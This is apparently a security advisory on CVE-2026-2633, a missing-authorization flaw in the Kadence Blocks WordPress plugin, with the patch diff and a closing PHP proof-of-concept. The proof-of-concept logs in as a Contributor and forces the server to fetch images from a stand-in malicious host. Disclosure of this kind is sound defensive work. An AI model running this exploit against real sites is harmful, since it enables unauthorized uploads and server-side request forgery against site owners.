Atomic Edge analysis of CVE-2026-2633:
The Gutenberg Blocks with AI by Kadence WP plugin, versions up to and including 3.6.1, contains a missing authorization vulnerability. The flaw allows authenticated users with at least Contributor-level permissions to upload arbitrary images from remote URLs to the WordPress Media Library, bypassing the standard WordPress capability model that restricts file uploads to users with the `upload_files` capability.
Atomic Edge research identifies the root cause in the `process_image_data_ajax_callback()` function within the `class-kadence-blocks-prebuilt-library.php` file. The function handles the `kadence_import_process_image_data` AJAX action. The existing authorization check, performed by the `verify_ajax_call()` method, only validates the `edit_posts` capability. This check is insufficient because it fails to also verify the `upload_files` capability, which WordPress core requires for media library uploads. The vulnerability exists because the function’s logic proceeds to download and process images without this critical capability check.
An attacker exploits this vulnerability by sending a crafted POST request to the WordPress `admin-ajax.php` endpoint. The request must include the `action` parameter set to `kadence_import_process_image_data`, a valid WordPress nonce, and the `import_content` or `image_library` parameters containing URLs to external images. A user with Contributor permissions, who normally cannot access the `wp-admin/upload.php` page or perform media uploads, can use this AJAX action to force the server to download and store remote images.
The patch, applied in version 3.6.2, adds a direct capability check for `upload_files` within the `process_image_data_ajax_callback()` function. The diff for `class-kadence-blocks-prebuilt-library.php` shows the addition of three lines after the call to `verify_ajax_call()`. The new code checks `if ( ! current_user_can( ‘upload_files’ ) )` and returns a JSON error if the check fails. This change enforces the proper WordPress capability requirement before any image processing occurs, aligning the endpoint’s permissions with core WordPress media upload functionality.
Successful exploitation allows a Contributor-level attacker to populate the site’s media library with arbitrary images from external sources. This can lead to unauthorized storage consumption, potential server-side request forgery (SSRF) if internal URLs are targeted, and the hosting of malicious or inappropriate content. The attack bypasses the intended WordPress security model, granting upload privileges to users who should not possess them.
--- a/kadence-blocks/includes/advanced-form/getresponse-rest-api.php
+++ b/kadence-blocks/includes/advanced-form/getresponse-rest-api.php
@@ -18,6 +18,13 @@
*/
const PROP_END_POINT = 'endpoint';
+ /**
+ * Allowed endpoint values to prevent SSRF (only these paths are requested from the configured API base).
+ *
+ * @var string[]
+ */
+ const ALLOWED_ENDPOINTS = array( 'campaigns', 'tags', 'custom-fields' );
+
/**
* Constructor.
@@ -48,15 +55,22 @@
}
/**
- * Checks if a given request has access to search content.
- *
+ * Checks if a given request has access to proxy GetResponse API calls.
+ * Requires manage_options so only admins (who can configure the API key) can trigger server-side requests.
*
* @param WP_REST_Request $request Full details about the request.
*
- * @return true|WP_Error True if the request has search access, WP_Error object otherwise.
+ * @return true|WP_Error True if the request has access, WP_Error object otherwise.
*/
public function get_items_permission_check( $request ) {
- return current_user_can( 'edit_posts' );
+ if ( ! current_user_can( 'manage_options' ) ) {
+ return new WP_Error(
+ 'rest_forbidden',
+ __( 'You do not have permission to access GetResponse API data.', 'kadence-blocks' ),
+ array( 'status' => 403 )
+ );
+ }
+ return true;
}
/**
@@ -71,8 +85,17 @@
$api_base = get_option( 'kadence_blocks_getresponse_api_endpoint' );
$end_point = $request->get_param( self::PROP_END_POINT );
+ // Restrict to whitelisted endpoints to prevent SSRF (e.g. requesting arbitrary URLs that echo back auth headers or server IP).
+ if ( empty( $end_point ) || ! in_array( $end_point, self::ALLOWED_ENDPOINTS, true ) ) {
+ return new WP_Error(
+ 'rest_invalid_endpoint',
+ __( 'Invalid or disallowed endpoint.', 'kadence-blocks' ),
+ array( 'status' => 400 )
+ );
+ }
+
if ( empty( $api_key ) || empty( $api_base ) ) {
- return array();
+ return rest_ensure_response( array() );
}
$request_url = rtrim( $api_base, '/' ) . '/' . $end_point;
--- a/kadence-blocks/includes/class-kadence-blocks-prebuilt-library.php
+++ b/kadence-blocks/includes/class-kadence-blocks-prebuilt-library.php
@@ -791,6 +791,11 @@
// Verify if the AJAX call is valid (checks nonce and current_user_can).
$this->verify_ajax_call();
+ // Require upload capability to prevent contributors from uploading to media library via this endpoint.
+ if ( ! current_user_can( 'upload_files' ) ) {
+ wp_send_json_error( esc_html__( 'You do not have permission to upload files.', 'kadence-blocks' ) );
+ }
+
$content = empty( $_POST['import_content'] ) ? '' : stripslashes( $_POST['import_content'] );
$image_library = empty( $_POST['image_library'] ) ? '' : json_decode( $_POST['image_library'], true );
$data = $this->process_image_content( $content, $image_library );
--- a/kadence-blocks/kadence-blocks.php
+++ b/kadence-blocks/kadence-blocks.php
@@ -1,11 +1,11 @@
<?php
/**
- * Plugin Name: Kadence Blocks – Gutenberg Blocks for Page Builder Features
+ * Plugin Name: Kadence Blocks — Page Builder Toolkit for Gutenberg Editor
* Plugin URI: https://www.kadencewp.com/product/kadence-gutenberg-blocks/
* Description: Advanced Page Building Blocks for Gutenberg. Create custom column layouts, backgrounds, dual buttons, icons etc.
* Author: Kadence WP
* Author URI: https://www.kadencewp.com
- * Version: 3.6.1
+ * Version: 3.6.2
* Requires PHP: 7.4
* Text Domain: kadence-blocks
* License: GPL2+
@@ -20,7 +20,7 @@
}
define( 'KADENCE_BLOCKS_PATH', realpath( plugin_dir_path( __FILE__ ) ) . DIRECTORY_SEPARATOR );
define( 'KADENCE_BLOCKS_URL', plugin_dir_url( __FILE__ ) );
-define( 'KADENCE_BLOCKS_VERSION', '3.6.1' );
+define( 'KADENCE_BLOCKS_VERSION', '3.6.2' );
require_once plugin_dir_path( __FILE__ ) . 'vendor/vendor-prefixed/autoload.php';
require_once plugin_dir_path( __FILE__ ) . 'vendor/autoload.php';
--- a/kadence-blocks/vendor/composer/installed.php
+++ b/kadence-blocks/vendor/composer/installed.php
@@ -1,9 +1,9 @@
<?php return array(
'root' => array(
'name' => 'kadencewp/kadence-blocks',
- 'pretty_version' => '3.6.1',
- 'version' => '3.6.1.0',
- 'reference' => '69e30f3a83effbb790afbf024fea3159c3040c59',
+ 'pretty_version' => '3.6.2',
+ 'version' => '3.6.2.0',
+ 'reference' => 'a94192be667184c730a46e42290c8d8983b1a52b',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -47,9 +47,9 @@
'dev_requirement' => false,
),
'kadencewp/kadence-blocks' => array(
- 'pretty_version' => '3.6.1',
- 'version' => '3.6.1.0',
- 'reference' => '69e30f3a83effbb790afbf024fea3159c3040c59',
+ 'pretty_version' => '3.6.2',
+ 'version' => '3.6.2.0',
+ 'reference' => 'a94192be667184c730a46e42290c8d8983b1a52b',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2633 - Gutenberg Blocks with AI by Kadence WP <= 3.6.1 - Missing Authorization to Authenticated (Contributor+) Unauthorized Media Upload
<?php
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'contributor';
$password = 'password';
// Step 1: Authenticate to obtain cookies and a nonce.
// The nonce is typically found on pages where the Kadence import feature is loaded.
// This example assumes we can fetch a nonce from a relevant admin page.
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
// Create a cURL handle for session management.
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only.
// Perform WordPress login.
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$postFields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
$response = curl_exec($ch);
// Step 2: Fetch a page containing the required nonce.
// The nonce for 'kadence_import_process_image_data' is often enqueued in admin pages for the plugin.
// This is a simplified example; a real attack would scrape the nonce from the page HTML.
$nonce = 'EXTRACTED_NONCE_HERE'; // Replace with a dynamically extracted nonce.
// Step 3: Craft the exploit payload.
$payload = [
'action' => 'kadence_import_process_image_data',
'_ajax_nonce' => $nonce,
'import_content' => 'Some content with an image: <img src="https://malicious-server.com/exploit.png">',
// Alternatively, use the image_library parameter for bulk uploads.
'image_library' => json_encode(['https://malicious-server.com/exploit2.jpg'])
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
$response = curl_exec($ch);
echo "Response:n";
print_r($response);
curl_close($ch);
?>